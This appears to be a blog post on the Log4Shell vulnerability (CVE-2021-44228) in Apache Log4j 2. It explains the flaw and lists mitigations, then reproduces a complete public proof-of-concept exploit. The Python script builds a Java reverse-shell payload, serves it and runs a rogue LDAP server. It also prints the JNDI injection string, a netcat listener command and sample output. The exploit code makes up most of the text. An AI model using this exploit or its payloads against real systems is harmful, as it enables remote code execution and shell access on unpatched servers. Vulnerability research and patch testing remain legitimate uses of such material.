In December 2021, a critical security vulnerability known as Log4Shell (CVE-2021-44228) was discovered in Apache Log4j 2, a widely used Java-based logging library. This flaw allows unauthenticated remote code execution (RCE), enabling attackers to execute arbitrary code on affected systems.
GitHub – kozmer/log4j-shell-poc: A Proof-Of-Concept for the CVE-2021-44228 vulnerability.
Details of the Vulnerability
Log4j 2’s JNDI lookup feature allows for dynamic resolution of variables in log messages. However, this feature can be exploited by attackers who can control log messages or log message parameters, leading to the execution of arbitrary code loaded from LDAP servers. This vulnerability is particularly severe due to Log4j’s widespread use across various applications and services.
Public Exploits Available
Proof-of-concept exploits for CVE-2021-44228 have been widely published, demonstrating the ease of exploitation. For instance, GitHub repositories and Exploit-DB entries detail methods to exploit this vulnerability, highlighting the urgency for mitigation.
Mitigation Steps
To protect systems from this vulnerability:
- Update Log4j: Upgrade to Log4j version 2.15.0 or later, where the JNDI lookup feature is disabled by default.
- Disable JNDI Lookups: For versions prior to 2.15.0, set the system property
log4j2.formatMsgNoLookups
totrue
or remove the JndiLookup class from the classpath. - Apply Network Controls: Restrict outbound connections from servers running vulnerable versions to prevent attackers from reaching malicious LDAP servers.
Conclusion
Log4Shell underscores the critical importance of promptly addressing vulnerabilities in widely used libraries. Organizations must remain vigilant, apply necessary patches, and implement security best practices to mitigate such threats.
#!/usr/bin/env python3
import argparse
from colorama import Fore, init
import subprocess
import threading
from pathlib import Path
import os
from http.server import HTTPServer, SimpleHTTPRequestHandler
CUR_FOLDER = Path(__file__).parent.resolve()
def generate_payload(userip: str, lport: int) -> None:
program = """
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.net.Socket;
public class Exploit {
public Exploit() throws Exception {
String host="%s";
int port=%d;
String cmd="/bin/sh";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),
pe=p.getErrorStream(),
si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()) {
while(pi.available()>0)
so.write(pi.read());
while(pe.available()>0)
so.write(pe.read());
while(si.available()>0)
po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
}
catch (Exception e){
}
};
p.destroy();
s.close();
}
}
""" % (userip, lport)
# writing the exploit to Exploit.java file
p = Path("Exploit.java")
try:
p.write_text(program)
subprocess.run([os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/javac"), str(p)])
except OSError as e:
print(Fore.RED + f'[-] Something went wrong {e}')
raise e
else:
print(Fore.GREEN + '[+] Exploit java class created success')
def payload(userip: str, webport: int, lport: int) -> None:
generate_payload(userip, lport)
print(Fore.GREEN + '[+] Setting up LDAP server\n')
# create the LDAP server on new thread
t1 = threading.Thread(target=ldap_server, args=(userip, webport))
t1.start()
# start the web server
print(f"[+] Starting Webserver on port {webport} http://0.0.0.0:{webport}")
httpd = HTTPServer(('0.0.0.0', webport), SimpleHTTPRequestHandler)
httpd.serve_forever()
def check_java() -> bool:
exit_code = subprocess.call([
os.path.join(CUR_FOLDER, 'jdk1.8.0_20/bin/java'),
'-version',
], stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
return exit_code == 0
def ldap_server(userip: str, lport: int) -> None:
sendme = "${jndi:ldap://%s:1389/a}" % (userip)
print(Fore.GREEN + f"[+] Send me: {sendme}\n")
url = "http://{}:{}/#Exploit".format(userip, lport)
subprocess.run([
os.path.join(CUR_FOLDER, "jdk1.8.0_20/bin/java"),
"-cp",
os.path.join(CUR_FOLDER, "target/marshalsec-0.0.3-SNAPSHOT-all.jar"),
"marshalsec.jndi.LDAPRefServer",
url,
])
def main() -> None:
init(autoreset=True)
print(Fore.BLUE + """
[!] CVE: CVE-2021-44228
[!] Github repo: https://github.com/kozmer/log4j-shell-poc
""")
parser = argparse.ArgumentParser(description='log4shell PoC')
parser.add_argument('--userip',
metavar='userip',
type=str,
default='localhost',
help='Enter IP for LDAPRefServer & Shell')
parser.add_argument('--webport',
metavar='webport',
type=int,
default='8000',
help='listener port for HTTP port')
parser.add_argument('--lport',
metavar='lport',
type=int,
default='9001',
help='Netcat Port')
args = parser.parse_args()
try:
if not check_java():
print(Fore.RED + '[-] Java is not installed inside the repository')
raise SystemExit(1)
payload(args.userip, args.webport, args.lport)
except KeyboardInterrupt:
print(Fore.RED + "user interrupted the program.")
raise SystemExit(0)
if __name__ == "__main__":
main()
Usage:
- Start a netcat listener to accept reverse shell connection.
nc -lvnp 9001
- Launch the exploit.
Note: For this to work, the extracted java archive has to be named:jdk1.8.0_20
, and be in the same directory.
$ python3 poc.py --userip localhost --webport 8000 --lport 9001 [!] CVE: CVE-2021-44228 [!] Github repo: https://github.com/kozmer/log4j-shell-poc [+] Exploit java class created success [+] Setting up fake LDAP server [+] Send me: ${jndi:ldap://localhost:1389/a} Listening on 0.0.0.0:1389